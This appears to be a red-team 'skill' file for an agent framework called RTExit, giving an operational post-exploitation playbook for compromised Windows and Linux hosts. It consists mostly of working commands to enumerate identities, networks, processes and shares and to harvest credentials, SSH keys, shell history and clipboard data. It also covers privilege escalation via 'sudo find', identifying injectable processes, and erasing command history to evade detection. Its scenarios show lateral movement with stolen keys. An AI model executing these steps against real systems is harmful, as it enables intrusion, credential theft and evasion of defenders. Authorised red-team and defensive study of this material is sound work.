---
name: rt-post-exploitation
description: "Post-exploitation initial discovery skill. Use immediately after gaining initial access to enumerate: local users and groups, network interfaces and routing, running processes and services, installed software, scheduled tasks, active sessions, file shares, and clipboard data. Covers both Windows (net, wmic, systeminfo) and Linux (id, ss, netstat, ps) commands. Feeds into lateral movement and privilege escalation."
---

# rt-post-exploitation

## Overview

This skill covers the critical first minutes after gaining initial access to a target host. Post-exploitation discovery is the systematic enumeration of the compromised host's local environment, identity context, network position, and running state before attempting lateral movement or privilege escalation.

The goal is to answer five questions rapidly and quietly:
1. Who am I and what can I do? (identity and privileges)
2. Where am I? (network position, domain membership)
3. What is running here? (processes, services, scheduled tasks)
4. What can I reach from here? (network topology, accessible shares, active sessions)
5. What is worth taking? (credentials, secrets, clipboard, files)

**When to invoke this skill:**
- Immediately after a shell callback is received from any initial access vector (phishing, exploit, supply chain, physical)
- After pivoting into a new network segment
- After escalating to a new user context on an already-compromised host
- After deploying a new implant on a host not previously enumerated

---

## Prerequisites

### Attacker-side requirements
- Stable shell (reverse shell, bind shell, C2 beacon, or SSH session)
- Minimum: low-privilege user shell
- Recommended: a C2 framework (Cobalt Strike, Havoc, Sliver, Metasploit) for structured output collection
- RTExit autodoc engine running and connected to the current engagement

### Target-side assumptions
- No assumption of elevated privileges at start
- Windows: CMD or PowerShell access (either works; both are covered below)
- Linux: bash shell access (sh fallback also noted)

### Tool installation (attacker machine)

```bash
# Sliver C2 (open source, recommended for RTExit engagements)
curl https://sliver.sh/install | sudo bash

# Metasploit Framework
sudo apt install metasploit-framework

# CrackMapExec (post-exploitation over SMB/WinRM)
pip3 install crackmapexec

# Impacket (Windows post-exploitation from Linux)
pip3 install impacket

# LinPEAS / WinPEAS (automated enumeration scripts)
git clone https://github.com/carlospolop/PEASS-ng.git ~/tools/PEASS-ng

# PowerView (Windows AD enumeration)
# Download: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

# BloodHound + SharpHound
# https://github.com/BloodHoundAD/BloodHound
```

---

## Skill Levels

### BEGINNER — Manual enumeration, native tools only

At this level, you run individual commands manually, capture output by hand, and document findings in the RTExit engine manually. No custom tooling is dropped to disk. Relies entirely on LOLBins (Living Off the Land Binaries).

**Risk profile:** Low — all commands are native OS binaries.

**Recommended for:** First engagements, highly monitored environments, learning the fundamentals.

### INTERMEDIATE — Scripted enumeration, selective tool upload

At this level, you use enumeration scripts (LinPEAS, WinPEAS, PowerView) uploaded in-memory where possible. Output is parsed and fed into RTExit autodoc. You chain findings to identify quick-win privilege escalation paths.

**Risk profile:** Medium — script signatures may trigger EDR; use AMSI bypass or obfuscation.

### ADVANCED — C2-integrated, OPSEC-aware, low-noise

At this level, enumeration runs entirely through a C2 framework. Modules execute in-process (no disk writes). Sleep jitter, traffic padding, and parent process spoofing are active. Output is streamed directly to RTExit autodoc via API.

**Risk profile:** Lower than Intermediate if configured correctly — depends on C2 evasion quality.

### EXPERT — Custom implant, living-off-the-land, anti-forensics

At this level, enumeration is embedded in a custom implant with encrypted comms. Only specifically needed data is exfiltrated. Techniques include direct syscalls to avoid userland hooks, PPID spoofing, ETW patching, and AMSI bypass. Enumeration leaves minimal forensic artifacts.

**Risk profile:** Low detection — high operational complexity.

---

## Step-by-Step Workflow

### Phase 0: Establish stable access (before enumeration)

**Step 1 — Confirm shell stability**

```bash
# Linux: confirm interactive shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# or
script /dev/null -c bash

# Windows CMD: confirm execution context
echo %USERNAME% && echo %COMPUTERNAME% && echo %USERDOMAIN%

# Windows PowerShell: confirm execution context
"$env:USERNAME | $env:COMPUTERNAME | $env:USERDOMAIN"
```

**Step 2 — Migrate to a stable process (C2/Metasploit)**

```bash
# Metasploit: migrate to a long-lived process
migrate -N explorer.exe
migrate -N svchost.exe

# Sliver: process list then migrate
ps
migrate --pid <stable_pid>
```

---

### Phase 1: Identity and privilege enumeration

**Step 3 — Who am I?**

Windows CMD:
```cmd
whoami
whoami /all
whoami /priv
whoami /groups
```

Windows PowerShell:
```powershell
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, Groups
(whoami /priv) -split "`n" | Where-Object { $_ -match "Enabled" }
```

Linux bash:
```bash
id
whoami
groups
cat /proc/self/status | grep -E "Uid|Gid|Groups"
```

Linux Python (fallback):
```python
import os, pwd, grp
print(f"UID={os.getuid()} EUID={os.geteuid()} GID={os.getgid()}")
print(f"User: {pwd.getpwuid(os.getuid()).pw_name}")
print(f"Groups: {[grp.getgrgid(g).gr_name for g in os.getgroups()]}")
```

**Step 4 — Local users and groups**

Windows CMD:
```cmd
net user
net localgroup
net localgroup Administrators
```

Windows PowerShell:
```powershell
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
Get-LocalGroup | Select-Object Name, Description
Get-LocalGroupMember -Group "Administrators"
```

Linux bash:
```bash
cat /etc/passwd | awk -F: '{ print $1, $3, $6, $7 }'
cat /etc/group
# Users with login shells (potential lateral targets)
cat /etc/passwd | grep -v '/nologin\|/false' | awk -F: '{print $1, $3}'
# Sudoers
sudo -l 2>/dev/null
cat /etc/sudoers 2>/dev/null
```

---

### Phase 2: Network topology mapping

**Step 5 — Network interfaces and routing**

Windows CMD:
```cmd
ipconfig /all
route print
arp -a
netstat -ano
```

Windows PowerShell:
```powershell
Get-NetIPAddress | Select-Object InterfaceAlias, AddressFamily, IPAddress, PrefixLength
Get-NetRoute | Select-Object DestinationPrefix, NextHop, RouteMetric, InterfaceAlias
Get-NetNeighbor | Select-Object IPAddress, LinkLayerAddress, State
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess
```

Linux bash:
```bash
ip a
ip route
ip neigh
ss -tulpn
netstat -tulpn 2>/dev/null || ss -tulpn
cat /etc/hosts
cat /etc/resolv.conf
arp -a 2>/dev/null || ip neigh
```

Linux Python:
```python
import subprocess
for cmd in ['ip a', 'ip route', 'ss -tulpn', 'cat /etc/hosts', 'cat /etc/resolv.conf']:
    print(f"\n=== {cmd} ===")
    try:
        print(subprocess.check_output(cmd, shell=True, text=True, stderr=subprocess.DEVNULL))
    except Exception as e:
        print(f"Error: {e}")
```

**Step 6 — DNS and domain membership**

Windows CMD:
```cmd
systeminfo | findstr /i "domain"
nslookup %USERDOMAIN%
ipconfig /all | findstr /i "dns"
```

Windows PowerShell:
```powershell
(Get-WmiObject Win32_ComputerSystem).Domain
Resolve-DnsName $env:USERDOMAIN -ErrorAction SilentlyContinue
[System.Net.Dns]::GetHostEntry($env:COMPUTERNAME)
```

Linux bash:
```bash
hostname -f
cat /etc/hostname
# Domain joined (SSSD/Winbind)?
realm list 2>/dev/null
wbinfo -m 2>/dev/null
cat /etc/krb5.conf 2>/dev/null | grep default_realm
```

---

### Phase 3: Process and service enumeration

**Step 7 — Running processes**

Windows CMD:
```cmd
tasklist /v
tasklist /svc
wmic process get Name,ProcessId,ExecutablePath,CommandLine
```

Windows PowerShell:
```powershell
Get-Process | Select-Object Name, Id, CPU, WorkingSet, Path | Sort-Object CPU -Descending
Get-WmiObject Win32_Process | Select-Object Name, ProcessId, ExecutablePath, CommandLine, ParentProcessId
# Identify AV/EDR processes
Get-Process | Where-Object { $_.Name -match "defender|crowdstrike|carbon|sentinel|cylance|cbdefense|mde" }
```

Linux bash:
```bash
ps auxf
ps -eo pid,ppid,user,comm,args --sort=-%mem | head -30
# Identify security tools
ps aux | grep -iE 'auditd|falcon|osquery|wazuh|aide|tripwire|clamav'
```

**Step 8 — Services**

Windows CMD:
```cmd
sc query type= all state= all
net start
wmic service get Name,DisplayName,StartMode,State,PathName
```

Windows PowerShell:
```powershell
Get-Service | Select-Object Name, DisplayName, Status, StartType
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, StartMode, State, PathName, StartName | Where-Object { $_.State -eq "Running" }
# Unquoted service paths (privilege escalation vector)
Get-WmiObject Win32_Service | Where-Object { $_.PathName -match '^[^"].*\s.*\.exe' } | Select-Object Name, PathName
```

Linux bash:
```bash
systemctl list-units --type=service --state=running
service --status-all 2>/dev/null
initctl list 2>/dev/null
ls /etc/init.d/
# SUID/SGID binaries (privilege escalation)
find / -perm -4000 -o -perm -2000 2>/dev/null | sort
```

---

### Phase 4: Scheduled tasks and persistence mechanisms

**Step 9 — Scheduled tasks (Windows)**

Windows CMD:
```cmd
schtasks /query /fo LIST /v
at
```

Windows PowerShell:
```powershell
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } | Select-Object TaskName, TaskPath, State
Get-ScheduledTask | Get-ScheduledTaskInfo | Select-Object TaskName, LastRunTime, NextRunTime
# Show task actions (what command runs)
Get-ScheduledTask | Select-Object TaskName, @{N="Actions";E={ ($_.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join ";" }}
```

**Step 9b — Cron jobs (Linux)**

```bash
crontab -l 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null && echo "^ $user"; done
# World-writable cron scripts (privilege escalation)
find /etc/cron* /var/spool/cron -type f -writable 2>/dev/null
```

---

### Phase 5: Installed software and patch level

**Step 10 — Installed software**

Windows CMD:
```cmd
wmic product get Name,Version,Vendor
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
```

Windows PowerShell:
```powershell
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
    Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
    Where-Object { $_.DisplayName } |
    Sort-Object DisplayName

# 32-bit software on 64-bit OS
Get-ItemProperty HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
    Select-Object DisplayName, DisplayVersion |
    Where-Object { $_.DisplayName }
```

Windows — patch level:
```powershell
systeminfo | findstr /i "hotfix\|os version\|build"
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20
```

Linux bash:
```bash
# Debian/Ubuntu
dpkg -l | awk '{print $2, $3}' | head -50
apt list --installed 2>/dev/null

# RHEL/CentOS
rpm -qa --queryformat '%{NAME} %{VERSION}\n' | sort

# Kernel version (for kernel exploit identification)
uname -a
cat /etc/os-release
```

---

### Phase 6: Active sessions and file shares

**Step 11 — Active logon sessions**

Windows CMD:
```cmd
query user
query session
net session
```

Windows PowerShell:
```powershell
Get-WmiObject Win32_LogonSession | Select-Object LogonId, LogonType, StartTime, AuthenticationPackage
Get-WmiObject Win32_LoggedOnUser | Select-Object Antecedent, Dependent
# Equivalent of 'who' on Windows
query user /server:localhost
```

Linux bash:
```bash
who
w
last | head -20
lastlog | grep -v "Never"
ss -tp | grep ESTABLISHED
```

**Step 12 — File shares and network drives**

Windows CMD:
```cmd
net share
net use
wmic share get Name,Path,Description
```

Windows PowerShell:
```powershell
Get-SmbShare | Select-Object Name, Path, Description
Get-SmbConnection
Get-PSDrive | Where-Object { $_.Provider -match "FileSystem" }
# Map accessible UNC paths
Get-WmiObject Win32_NetworkConnection | Select-Object Name, RemoteName, Status
```

Linux bash:
```bash
# Mounted shares
mount | grep -E 'cifs|nfs|smbfs'
cat /proc/mounts
df -hT | grep -E 'cifs|nfs'
# NFS exports
showmount -e localhost 2>/dev/null
cat /etc/exports 2>/dev/null
```

---

### Phase 7: Credential and secret hunting

**Step 13 — Clipboard data**

Windows PowerShell:
```powershell
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Clipboard]::GetText()
```

Windows CMD (via PowerShell one-liner):
```cmd
powershell -c "Add-Type -AN System.Windows.Forms; [System.Windows.Forms.Clipboard]::GetText()"
```

Linux bash:
```bash
# X11 clipboard
xclip -o 2>/dev/null
xsel --clipboard --output 2>/dev/null
# Wayland
wl-paste 2>/dev/null
```

**Step 14 — Credential files and config secrets**

Windows PowerShell:
```powershell
# Common credential file locations
$locations = @(
    "$env:APPDATA\Microsoft\Credentials",
    "$env:LOCALAPPDATA\Microsoft\Credentials",
    "$env:USERPROFILE\.ssh",
    "C:\Users\*\.aws\credentials",
    "C:\Users\*\.config\gcloud\credentials.db",
    "C:\inetpub\wwwroot\*\web.config",
    "C:\xampp\htdocs\*\config.php"
)
foreach ($loc in $locations) {
    Get-Item $loc -ErrorAction SilentlyContinue | Select-Object FullName
}

# Search for password strings in common config files
Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue |
    Where-Object { $_.Name -match 'password|passwd|secret|cred|\.env' } |
    Select-Object FullName | Select-Object -First 20
```

Linux bash:
```bash
# SSH keys
find /home /root -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# .env files
find / -name ".env" -readable 2>/dev/null | head -10
# AWS/GCP/Azure credentials
find /home /root -path "*/.aws/credentials" -o -path "*/.config/gcloud*" 2>/dev/null
# History files
for f in /home/*/.bash_history /root/.bash_history /home/*/.zsh_history; do
    echo "=== $f ===" && cat "$f" 2>/dev/null | grep -iE 'pass|secret|key|token|curl|wget' | head -5
done
# Docker secrets
find / -name "docker-compose*" -readable 2>/dev/null | xargs grep -l "password\|secret" 2>/dev/null
```

---

### Phase 8: Process injection opportunity identification

**Step 15 — Identify injectable processes**

Windows PowerShell:
```powershell
# Processes running as SYSTEM or high-integrity that are stable targets
Get-WmiObject Win32_Process | Where-Object {
    $_.Name -match 'svchost|lsass|winlogon|explorer|spoolsv'
} | Select-Object Name, ProcessId, ExecutablePath

# Check process architecture (32 vs 64-bit) for injection compatibility
$processes = Get-Process
foreach ($p in $processes) {
    try {
        $is32bit = [System.Diagnostics.Process]::GetProcessById($p.Id)
        # Use IsWow64Process via P/Invoke for accurate detection
    } catch {}
}

# List processes with no security products loaded (naive check)
Get-Process | Where-Object { $_.Modules -notmatch 'amsi|wdfilter' } |
    Select-Object Name, Id | Select-Object -First 10
```

Linux bash:
```bash
# Processes owned by root that may be injectable via ptrace
ps -eo pid,user,comm | awk '$2=="root" && $3!~/kthread|migration|ksoftirqd/'
# Check if ptrace is unrestricted
cat /proc/sys/kernel/yama/ptrace_scope
# 0 = unrestricted ptrace (injection possible), 1-3 = restricted
```

---

## Real Attack Scenarios

### Scenario 1: Windows Domain-Joined Workstation — Phishing Initial Access

**Context:** Phishing payload executed on a domain-joined Windows 10 workstation. Beacon established as `CORP\jdoe` (standard user).

**Chain of steps:**

```powershell
# Step 1: Confirm identity and domain membership
whoami /all
# Output shows: CORP\jdoe, member of Domain Users, no elevated privileges

# Step 2: Check if we're on a domain
(Get-WmiObject Win32_ComputerSystem).Domain
# Output: corp.local

# Step 3: Identify local admins — are there any domain accounts with local admin?
Get-LocalGroupMember -Group "Administrators"
# Output: CORP\Domain Admins, CORP\IT-Helpdesk, LOCAL\Administrator

# Step 4: Check network position
Get-NetIPAddress | Select-Object IPAddress, PrefixLength
# Output: 10.10.5.42/24
Get-NetRoute | Where-Object { $_.DestinationPrefix -ne "0.0.0.0/0" }
# Output: 10.10.0.0/16 via 10.10.5.1 — full corporate LAN reachable

# Step 5: Identify high-value processes for injection
Get-Process | Where-Object { $_.Name -match 'explorer' } | Select-Object Id, Name
# Migrate beacon into explorer.exe PID for stability

# Step 6: Discover other active sessions on this host
query user
# Output: IT-Helpdesk user logged in on RDP session — credential target

# Step 7: Check for cached credentials / password files
cmdkey /list
# Output: CORP\svc_backup cached — high-value service account

# Step 8: Network share enumeration — pivot targets
Get-SmbConnection
# Output: \\fileserver01\it-shares — active connection, likely accessible

# Step 9: Feed into RTExit autodoc
rtexit note --host WIN10-JDOE --finding "Domain-joined, 10.10.5.42, IT-Helpdesk RDP session active, svc_backup credentials cached, fileserver01 reachable"
rtexit tag --host WIN10-JDOE --tags "domain-joined,lateral-movement-ready,credential-candidate"
```

**Outcome:** Identified pivot path to fileserver01 via active SMB connection, and credential theft opportunity from cached `svc_backup` and active IT-Helpdesk RDP session.

---

### Scenario 2: Linux Web Server — RCE via Web Application

**Context:** Remote code execution gained via SQL injection + file write on a public-facing Ubuntu 22.04 web server. Shell as `www-data`.

**Chain of steps:**

```bash
# Step 1: Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

# Step 2: Identity and privilege check
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(docker)
# NOTE: www-data is in the docker group — potential container escape

sudo -l 2>/dev/null
# (ALL) NOPASSWD: /usr/bin/mysqldump — can dump the DB as root!

# Step 3: Network position
ip a | grep -E 'inet '
# 10.0.1.15/24 — internal network
# 172.17.0.1/16 — Docker bridge network! Other containers may be reachable

ip route
# default via 10.0.1.1 dev eth0
# 172.17.0.0/16 dev docker0

# Step 4: Check for other services listening internally
ss -tulpn
# 0.0.0.0:3306  — MySQL listening on all interfaces
# 172.17.0.2:6379 — Redis in a Docker container (unauthenticated?)
# 127.0.0.1:8080 — Internal admin panel

# Step 5: Other users and home dirs
cat /etc/passwd | grep -v '/nologin\|/false'
# deploy (uid=1000) has /home/deploy — likely has SSH keys
ls -la /home/deploy/.ssh/ 2>/dev/null
# id_rsa present and readable! (misconfigured permissions)

# Step 6: History files for credentials
cat /home/deploy/.bash_history 2>/dev/null
# mysql -u root -pS3cr3tP@ssword123  ← root MySQL password in history

# Step 7: Cron jobs
crontab -l
cat /etc/cron.d/*
# */5 * * * * deploy /opt/scripts/backup.sh  ← writable by www-data? Check.
ls -la /opt/scripts/backup.sh
# -rwxrwxr-x — writable! Cron privilege escalation path.

# Step 8: SUID binaries
find / -perm -4000 2>/dev/null
# /usr/bin/pkexec — check CVE-2021-4034 (PwnKit)

# Step 9: Feed into RTExit autodoc
rtexit note --host webserver01 --ip 10.0.1.15 \
  --finding "www-data in docker group, sudo mysqldump NOPASSWD, MySQL root cred in history, writable cron script, deploy SSH key readable, Redis container at 172.17.0.2"
rtexit tag --host webserver01 --tags "privesc-ready,docker-escape,lateral-movement,credential-found"
```

**Outcome:** Multiple privilege escalation paths identified (docker group escape, cron write, PwnKit), database credential found, lateral movement into Docker subnet possible.

---

### Scenario 3: Linux Server — Privilege Context Change After Lateral Movement

**Context:** SSH lateral movement successful using stolen key. Now on `dbserver02` as `svc_app`. Need to enumerate before escalating.

**Chain of steps:**

```bash
# Step 1: Identity
id && hostname && uname -a
# svc_app, RHEL 8.6, kernel 4.18.0-372 (check kernel exploits)

# Step 2: What can svc_app do?
sudo -l
# (root) NOPASSWD: /usr/bin/find  ← GTFOBins: sudo find . -exec /bin/bash \; -quit

# Step 3: Running processes — what's the app server doing?
ps aux | grep -v '\[' | awk '{print $1,$2,$11}' | sort -u | head -30
# java process running as root with -Dconfig=/opt/app/config.yaml

# Step 4: Read the app config (running as svc_app, might be readable)
cat /opt/app/config.yaml
# database.password: Pr0d-DB-P@ss!  ← production DB credential

# Step 5: Internal network from this host
ss -tulpn
# 0.0.0.0:5432 — PostgreSQL (internal)
ip route
# 10.10.20.0/24 dev eth1 — separate DB VLAN, new segment

# Step 6: ARP cache — what hosts are known?
ip neigh
# 10.10.20.10 — another host in DB VLAN

# Step 7: Check for SSH keys to reach DB VLAN hosts
ls -la ~/.ssh/
cat ~/.ssh/config 2>/dev/null
# Host db-primary: 10.10.20.10, user postgres — key-based auth!

# Step 8: Escalate via sudo find
sudo find . -exec /bin/bash -p \; -quit
# Now root on dbserver02

# Step 9: Document and chain
rtexit note --host dbserver02 --ip 10.10.20.1 \
  --finding "svc_app sudo find NOPASSWD (GTFOBins), PostgreSQL prod cred in config.yaml, SSH key to 10.10.20.10 (db-primary), DB VLAN 10.10.20.0/24 accessible"
rtexit escalation --host dbserver02 --from svc_app --to root --method "sudo find GTFOBins"
rtexit pivot --from dbserver02 --to 10.10.20.10 --method "SSH key reuse"
```

**Outcome:** Root on dbserver02 achieved, production DB credential captured, path to db-primary via stolen SSH key documented.

---

## OPSEC Considerations

### Detection risks by technique

| Technique | Detection Risk | Notes |
|---|---|---|
| `whoami /all` | Low | Rarely alerted; native binary |
| `net user` / `net localgroup` | Low-Medium | May trigger UEBA baselines on servers |
| `systeminfo` | Medium | Generates event 4688 if process auditing enabled; slow and noisy |
| `wmic process get` | Medium-High | WMIC is heavily monitored; consider PowerShell alternative |
| `Get-Process` (PowerShell) | Medium | AMSI-visible; ScriptBlock logging captures it |
| WinPEAS / LinPEAS (on disk) | High | AV signature detection; use in-memory only |
| `tasklist /v` | Low | Native, but verbose output may correlate with discovery TTP (T1057) |
| `Get-ScheduledTask` | Medium | PowerShell logging; correlates with T1053 |
| `schtasks /query` | Low | Native CMD; less scrutinized |
| `net share` / `Get-SmbShare` | Medium | SMB enumeration triggers in network monitoring |
| Clipboard access | High | Very unusual; triggers behavioral detection on EDR |
| SSH key reading | Medium | File access auditing (auditd) may catch it |
| SUID find (`find / -perm -4000`) | Medium-High | Triggers auditd EXECVE rules for `find` with root-owned files |
| `cat /etc/shadow` | High | Access to shadow always alerted in auditd setups |
| `sudo -l` | Low-Medium | Logged by sudo to syslog; unusual for non-admin users |

### OPSEC best practices

**Do:**
- Run enumeration commands one at a time rather than in automated loops on sensitive hosts
- Use in-process execution via C2 (Beacon's `execute-assembly`, Sliver's `execute-shellcode`) to avoid spawning new processes
- Prefer `Get-NetTCPConnection` over `netstat` (no child process created)
- Set sleep timers (5-15 minutes) on C2 beacons during business hours on monitored hosts
- Clear PowerShell history after enumeration: `Remove-Item (Get-PSReadlineOption).HistorySavePath`
- On Linux: unset `HISTFILE` before running commands (`unset HISTFILE`)

**Do not:**
- Run WinPEAS/LinPEAS on disk on production servers — always load in-memory
- Enumerate every host simultaneously — stagger by 10-30 minutes
- Use `wmic` on modern Windows environments with mature EDR (MDE, CrowdStrike) — it is heavily monitored
- Access `lsass` directly without understanding the EDR in place
- Read `/etc/shadow` unless you have a specific operational need — it is a near-certain alert

### MITRE ATT&CK mappings

| Step | Technique ID | Name |
|---|---|---|
| Identity enum | T1033 | System Owner/User Discovery |
| Network enum | T1016 | System Network Configuration Discovery |
| Process enum | T1057 | Process Discovery |
| Service enum | T1007 | System Service Discovery |
| Software enum | T1518 | Software Discovery |
| Scheduled tasks | T1053 | Scheduled Task/Job |
| File shares | T1135 | Network Share Discovery |
| Clipboard | T1115 | Clipboard Data |
| Credential files | T1552 | Unsecured Credentials |
| Session enum | T1049 | System Network Connections Discovery |

---

## Integration with RTExit Autodoc Engine

The RTExit autodoc engine collects findings, tags hosts, and builds the engagement map. Use the following commands to feed post-exploitation output into the engine.

### Registering a new host

```bash
rtexit host add \
  --hostname WIN10-JDOE \
  --ip 10.10.5.42 \
  --os "Windows 10 22H2" \
  --access-level user \
  --via phishing

# Linux equivalent
rtexit host add \
  --hostname webserver01 \
  --ip 10.0.1.15 \
  --os "Ubuntu 22.04" \
  --access-level www-data \
  --via "RCE CVE-XXXX-XXXX"
```

### Recording a finding

```bash
rtexit finding add \
  --host WIN10-JDOE \
  --category "Credential Exposure" \
  --title "svc_backup credentials cached in Windows Credential Manager" \
  --severity high \
  --evidence "cmdkey /list output: corp\\svc_backup" \
  --mitre T1552.001

rtexit finding add \
  --host webserver01 \
  --category "Privilege Escalation" \
  --title "www-data in docker group — container escape possible" \
  --severity critical \
  --mitre T1611
```

### Tagging hosts for workflow routing

```bash
# Mark a host as ready for lateral movement
rtexit tag --host WIN10-JDOE --tags "lateral-movement-ready,domain-joined,credential-candidate"

# Mark a host as privilege-escalation ready
rtexit tag --host webserver01 --tags "privesc-ready,docker-escape"

# Mark credential findings
rtexit credential add \
  --host webserver01 \
  --username root \
  --type password \
  --value "S3cr3tP@ssword123" \
  --source "MySQL command history /home/deploy/.bash_history" \
  --confirmed true
```

### Recording privilege escalation

```bash
rtexit escalation add \
  --host dbserver02 \
  --from-user svc_app \
  --to-user root \
  --method "sudo find GTFOBins (NOPASSWD)" \
  --mitre T1548.003
```

### Recording lateral movement paths

```bash
rtexit pivot add \
  --from-host dbserver02 \
  --to-host 10.10.20.10 \
  --method "SSH key reuse" \
  --credential "svc_app private key ~/.ssh/id_rsa" \
  --mitre T1021.004
```

### Generating the discovery report

```bash
# Generate host summary for current engagement
rtexit report host-summary --format markdown --out ./reports/host-discovery.md

# Generate network map
rtexit report network-map --format dot --out ./reports/network.dot
dot -Tpng ./reports/network.dot -o ./reports/network.png

# Export all findings as JSON for review
rtexit export findings --format json --out ./reports/findings.json
```

### Running post-exploitation skill with autodoc streaming

```bash
# Run a post-exploitation enumeration session with live autodoc capture
rtexit session start --host WIN10-JDOE --skill rt-post-exploitation

# Inside the session, all commands and outputs are captured
# Exit the session and generate the report
rtexit session end --host WIN10-JDOE --auto-tag --auto-classify
```

---

## Output and Documentation

### What to document per host

For each compromised host, the minimum documentation set is:

1. **Identity context:** username, privileges, group memberships
2. **Network position:** IP addresses, subnet, gateway, DNS, domain membership
3. **OS and patch level:** OS version, last patch date, missing critical patches
4. **High-value findings:** credentials, SSH keys, config files with secrets
5. **Privilege escalation paths:** ranked by likelihood and impact
6. **Lateral movement paths:** reachable hosts, accessible shares, active sessions
7. **Security controls identified:** AV/EDR products, firewall rules, audit logging state
8. **Scheduled tasks and persistence:** existing persistence mechanisms (may indicate prior compromise)

### Output file structure

```
engagement/
  hosts/
    WIN10-JDOE/
      identity.md
      network.md
      processes.md
      findings.md
      credentials.md
      privesc-paths.md
      lateral-paths.md
    webserver01/
      ...
  reports/
    network-map.png
    host-summary.md
    findings.json
  raw/
    WIN10-JDOE/
      whoami-all.txt
      netstat-ano.txt
      get-process.txt
      ...
```

### Timestamping raw output

Always timestamp raw command output for forensic accuracy in the final report:

```bash
# Linux: timestamp wrapper
ts_cmd() { echo "=== $(date -u +%Y-%m-%dT%H:%M:%SZ) === $*"; eval "$*"; }
ts_cmd id
ts_cmd ss -tulpn

# PowerShell: timestamp wrapper
function Invoke-Timed { param($Cmd) Write-Host "=== $(Get-Date -Format 'yyyy-MM-ddTHH:mm:ssZ') === $Cmd"; Invoke-Expression $Cmd }
Invoke-Timed "whoami /all"
Invoke-Timed "Get-NetTCPConnection"
```

---

## Resources

### Tools

| Tool | URL | Purpose |
|---|---|---|
| PEASS-ng (WinPEAS/LinPEAS) | https://github.com/carlospolop/PEASS-ng | Automated privilege escalation enumeration |
| PowerView | https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 | AD enumeration from Windows |
| BloodHound | https://github.com/BloodHoundAD/BloodHound | AD attack path visualization |
| SharpHound | https://github.com/BloodHoundAD/SharpHound | BloodHound data collector |
| Seatbelt | https://github.com/GhostPack/Seatbelt | Windows host security enumeration |
| CrackMapExec | https://github.com/byt3bl33d3r/CrackMapExec | Post-exploitation over SMB/WinRM |
| Impacket | https://github.com/fortra/impacket | Windows protocol suite (Python) |
| Sliver | https://github.com/BishopFox/sliver | Open source C2 framework |
| Havoc | https://github.com/HavocFramework/Havoc | Modern C2 with OPSEC features |
| GTFOBins | https://gtfobins.github.io | Linux binary privilege escalation |
| LOLBAS | https://lolbas-project.github.io | Windows living-off-the-land binaries |

### References

| Reference | URL |
|---|---|
| MITRE ATT&CK — Discovery | https://attack.mitre.org/tactics/TA0007/ |
| MITRE ATT&CK — Collection | https://attack.mitre.org/tactics/TA0009/ |
| HackTricks — Linux Post-Exploitation | https://book.hacktricks.xyz/linux-hardening/privilege-escalation |
| HackTricks — Windows Post-Exploitation | https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation |
| PayloadsAllTheThings — Post-Exploitation | https://github.com/swisskyrepo/PayloadsAllTheThings |
| Red Team Notes — Windows Enumeration | https://www.ired.team/offensive-security/enumeration-and-discovery |
| Pentester's Promiscuous Notebook | https://ppn.snovvcrash.rocks |

### MITRE ATT&CK quick reference (Discovery tactic)

- T1007 — System Service Discovery
- T1010 — Application Window Discovery
- T1016 — System Network Configuration Discovery
- T1033 — System Owner/User Discovery
- T1049 — System Network Connections Discovery
- T1053 — Scheduled Task/Job
- T1057 — Process Discovery
- T1082 — System Information Discovery
- T1083 — File and Directory Discovery
- T1087 — Account Discovery
- T1115 — Clipboard Data
- T1135 — Network Share Discovery
- T1518 — Software Discovery
- T1552 — Unsecured Credentials
